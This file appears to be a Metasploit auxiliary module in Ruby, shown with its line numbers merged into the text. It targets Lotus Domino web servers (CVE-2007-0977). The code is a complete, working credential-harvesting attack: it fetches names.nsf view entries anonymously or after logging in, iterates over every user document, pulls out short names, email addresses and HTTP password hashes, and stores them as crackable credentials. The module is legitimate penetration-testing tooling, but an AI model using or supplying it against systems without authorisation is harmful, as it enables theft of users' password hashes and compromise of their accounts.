Path: blob/master/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Lotus Domino Password Hash Collector',13'Description' => 'Get users passwords hashes from names.nsf page',14'Author' => 'Tiago Ferreira <tiago.ccna[at]gmail.com>',15'License' => MSF_LICENSE,16'References' => [17['CVE', '2007-0977']18]19)2021register_options(22[23OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']),24OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]),25OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf'])26]27)28end2930def post_auth?31true32end3334def run_host(ip)35user = datastore['NOTES_USER']36pass = datastore['NOTES_PASS']37@uri = normalize_uri(datastore['URI'])3839if user.eql?('') && pass.eql?('')40print_status("#{peer} - Lotus Domino - Trying dump password hashes without credentials")4142begin43res = send_request_raw({44'method' => 'GET',45'uri' => "#{@uri}\/$defaultview?Readviewentries",46}, 25)4748if res.nil?49print_error('Connection failed')50return51end5253if res && res.body.to_s =~ /\<viewentries/54print_good("#{peer} - Lotus Domino - OK names.nsf accessible without credentials")55cookie = ''56get_views(cookie, @uri)5758elsif res && res.body.to_s =~ /names.nsf\?Login/59print_error("#{peer} - Lotus Domino - The remote server requires authentication")60return :abort6162else63print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")64vprint_error(res.to_s)65return :abort6667end68rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout69rescue ::Timeout::Error, ::Errno::EPIPE70end7172else73print_status("#{peer} - Lotus Domino - Trying dump password hashes with given credentials")74do_login(user, pass)75end76end7778def do_login(user = nil, pass = nil)79post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"8081begin82res = send_request_cgi({83'method' => 'POST',84'uri' => '/names.nsf?Login',85'data' => post_data86}, 20)8788if res.nil?89print_error("#{peer} - Connection timed out")90return91end9293if res && res.code == 30294if res.get_cookies =~ /DomAuthSessId=(.*);(.*)/i95cookie = "DomAuthSessId=#{$1}"96elsif res.get_cookies =~ /LtpaToken=(.*);(.*)/i97cookie = "LtpaToken=#{$1}"98else99print_error("#{peer} - Lotus Domino - Unrecognized 302 response")100return :abort101end102print_good("#{peer} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")103print_status("#{peer} - Lotus Domino - Getting password hashes")104get_views(cookie, @uri)105106elsif res && res.body.to_s =~ /names.nsf\?Login/107print_error("#{peer} - Lotus Domino - Authentication error: failed to login as '#{user}'")108return :abort109110else111print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")112return :abort113end114rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout115rescue ::Timeout::Error, ::Errno::EPIPE116end117end118119def get_views(cookie, uri)120begin121res = send_request_raw({122'method' => 'GET',123'uri' => "#{uri}\/$defaultview?Readviewentries",124'cookie' => cookie125}, 25)126if res && res.body127max = res.body.scan(/siblings=\"(.*)\"/).first.join1281291.upto(max.to_i) do |i|130res = send_request_raw({131'method' => 'GET',132'uri' => "#{uri}\/$defaultview?Readviewentries&Start=#{i}",133'cookie' => cookie134}, 25)135136view_id = res.body.scan(/unid="([^\s]+)"/)[0].join137dump_hashes(view_id, cookie, uri)138end139140end141rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout142rescue ::Timeout::Error, ::Errno::EPIPE143end144end145146def dump_hashes(view_id, cookie, uri)147begin148res = send_request_raw({149'method' => 'GET',150'uri' => "#{uri}\/$defaultview/#{view_id}?OpenDocument",151'cookie' => cookie152}, 25)153154if res && res.body155doc = res.get_html_document156short_name = doc.xpath('//input[@name="ShortName"]/@value').text157user_mail = doc.xpath('//input[@name="InternetAddress"]/@value').text158pass_hash = doc.xpath('//input[@name="$dspHTTPPassword" or @name="dspHTTPPassword"]/@value').first&.text159160short_name = 'NULL' if short_name.to_s.strip.empty?161user_mail = 'NULL' if user_mail.to_s.strip.empty?162pass_hash = 'NULL' if pass_hash.to_s.strip.empty?163164print_good("#{peer} - Lotus Domino - Account Found: #{short_name}, #{user_mail}, #{pass_hash}")165166if pass_hash != 'NULL'167domino_svc = report_service(168:host => rhost,169:port => rport,170:name => (ssl ? 'https' : 'http')171)172173report_cred(174user: short_name,175password: pass_hash,176proof: "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}"177)178end179end180rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout181rescue ::Timeout::Error, ::Errno::EPIPE182end183end184185def report_cred(opts)186service_data = service_details.merge({ workspace_id: myworkspace_id })187188credential_data = {189origin_type: :service,190module_fullname: fullname,191username: opts[:user],192private_data: opts[:password],193private_type: :nonreplayable_hash,194jtr_format: 'dominosec'195}.merge(service_data)196197login_data = {198core: create_credential(credential_data),199status: Metasploit::Model::Login::Status::UNTRIED,200proof: opts[:proof]201}.merge(service_data)202203create_credential_login(login_data)204end205end206207208